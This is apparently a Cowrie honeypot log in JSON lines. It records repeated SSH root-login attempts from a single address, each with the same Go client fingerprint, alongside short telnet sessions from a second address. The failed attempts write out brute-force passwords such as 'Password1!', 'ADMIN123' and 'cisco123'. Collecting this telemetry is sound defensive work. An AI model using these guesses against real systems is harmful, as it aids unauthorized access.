{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52778,"dst_ip":"10.17.0.5","dst_port":22,"session":"68ef099b287c","protocol":"ssh","message":"New connection: 60.165.124.241:52778 (10.17.0.5:22) [session: 68ef099b287c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:37.727935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:37.733367Z","src_ip":"60.165.124.241","session":"68ef099b287c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:37.971682Z","src_ip":"60.165.124.241","session":"68ef099b287c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345679","message":"login attempt [root/12345679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:38.695297Z","src_ip":"60.165.124.241","session":"68ef099b287c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.004867792129517,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:39.635001Z","src_ip":"198.58.117.211","session":"4e6559e56933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":38408,"dst_ip":"10.17.0.5","dst_port":23,"session":"79e53ee4d133","protocol":"telnet","message":"New connection: 198.58.117.211:38408 (10.17.0.5:23) [session: 79e53ee4d133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:39.674386Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:39.937941Z","src_ip":"60.165.124.241","session":"68ef099b287c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55600,"dst_ip":"10.17.0.5","dst_port":22,"session":"1248343831bf","protocol":"ssh","message":"New connection: 60.165.124.241:55600 (10.17.0.5:22) [session: 1248343831bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:40.173589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:40.177615Z","src_ip":"60.165.124.241","session":"1248343831bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:40.418210Z","src_ip":"60.165.124.241","session":"1248343831bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1!","message":"login attempt [root/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:41.155851Z","src_ip":"60.165.124.241","session":"1248343831bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:42.399068Z","src_ip":"60.165.124.241","session":"1248343831bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58500,"dst_ip":"10.17.0.5","dst_port":22,"session":"94e035874ca7","protocol":"ssh","message":"New connection: 60.165.124.241:58500 (10.17.0.5:22) [session: 94e035874ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:42.677599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:42.682185Z","src_ip":"60.165.124.241","session":"94e035874ca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:42.946289Z","src_ip":"60.165.124.241","session":"94e035874ca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ADMIN123","message":"login attempt [root/ADMIN123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:43.748777Z","src_ip":"60.165.124.241","session":"94e035874ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.003648519515991,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:44.677958Z","src_ip":"198.58.117.211","session":"79e53ee4d133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":58988,"dst_ip":"10.17.0.5","dst_port":23,"session":"abfd3495c1d6","protocol":"telnet","message":"New connection: 198.58.117.211:58988 (10.17.0.5:23) [session: abfd3495c1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:44.715071Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:45.013016Z","src_ip":"60.165.124.241","session":"94e035874ca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33374,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a09b4f093b5","protocol":"ssh","message":"New connection: 60.165.124.241:33374 (10.17.0.5:22) [session: 0a09b4f093b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:45.221368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:45.230909Z","src_ip":"60.165.124.241","session":"0a09b4f093b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:45.472017Z","src_ip":"60.165.124.241","session":"0a09b4f093b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcD","message":"login attempt [root/1234abcD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:46.186966Z","src_ip":"60.165.124.241","session":"0a09b4f093b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:47.437989Z","src_ip":"60.165.124.241","session":"0a09b4f093b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35862,"dst_ip":"10.17.0.5","dst_port":22,"session":"9da1970a203d","protocol":"ssh","message":"New connection: 60.165.124.241:35862 (10.17.0.5:22) [session: 9da1970a203d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:47.682232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:47.687336Z","src_ip":"60.165.124.241","session":"9da1970a203d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:47.930330Z","src_ip":"60.165.124.241","session":"9da1970a203d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456789","message":"login attempt [root/Abc123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:48.653062Z","src_ip":"60.165.124.241","session":"9da1970a203d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.004376173019409,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:49.719300Z","src_ip":"198.58.117.211","session":"abfd3495c1d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":59080,"dst_ip":"10.17.0.5","dst_port":23,"session":"55066793fda9","protocol":"telnet","message":"New connection: 198.58.117.211:59080 (10.17.0.5:23) [session: 55066793fda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:49.763596Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:49.893608Z","src_ip":"60.165.124.241","session":"9da1970a203d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38804,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec8407aaa06","protocol":"ssh","message":"New connection: 60.165.124.241:38804 (10.17.0.5:22) [session: 0ec8407aaa06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:50.155775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:50.161743Z","src_ip":"60.165.124.241","session":"0ec8407aaa06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:50.411914Z","src_ip":"60.165.124.241","session":"0ec8407aaa06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@2016","message":"login attempt [root/Abc@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:51.171594Z","src_ip":"60.165.124.241","session":"0ec8407aaa06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:52.429227Z","src_ip":"60.165.124.241","session":"0ec8407aaa06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41672,"dst_ip":"10.17.0.5","dst_port":22,"session":"10dbb5e3cacf","protocol":"ssh","message":"New connection: 60.165.124.241:41672 (10.17.0.5:22) [session: 10dbb5e3cacf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:52.653569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:52.658469Z","src_ip":"60.165.124.241","session":"10dbb5e3cacf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:52.895578Z","src_ip":"60.165.124.241","session":"10dbb5e3cacf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20232023","message":"login attempt [root/20232023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:53.617227Z","src_ip":"60.165.124.241","session":"10dbb5e3cacf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:54.856383Z","src_ip":"60.165.124.241","session":"10dbb5e3cacf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44314,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc4565e8888e","protocol":"ssh","message":"New connection: 60.165.124.241:44314 (10.17.0.5:22) [session: bc4565e8888e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:55.090100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:55.094539Z","src_ip":"60.165.124.241","session":"bc4565e8888e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:55.331911Z","src_ip":"60.165.124.241","session":"bc4565e8888e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco123","message":"login attempt [root/cisco123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:56.049434Z","src_ip":"60.165.124.241","session":"bc4565e8888e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.507459878921509,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:57.270965Z","src_ip":"198.58.117.211","session":"55066793fda9","protocol":"telnet"}
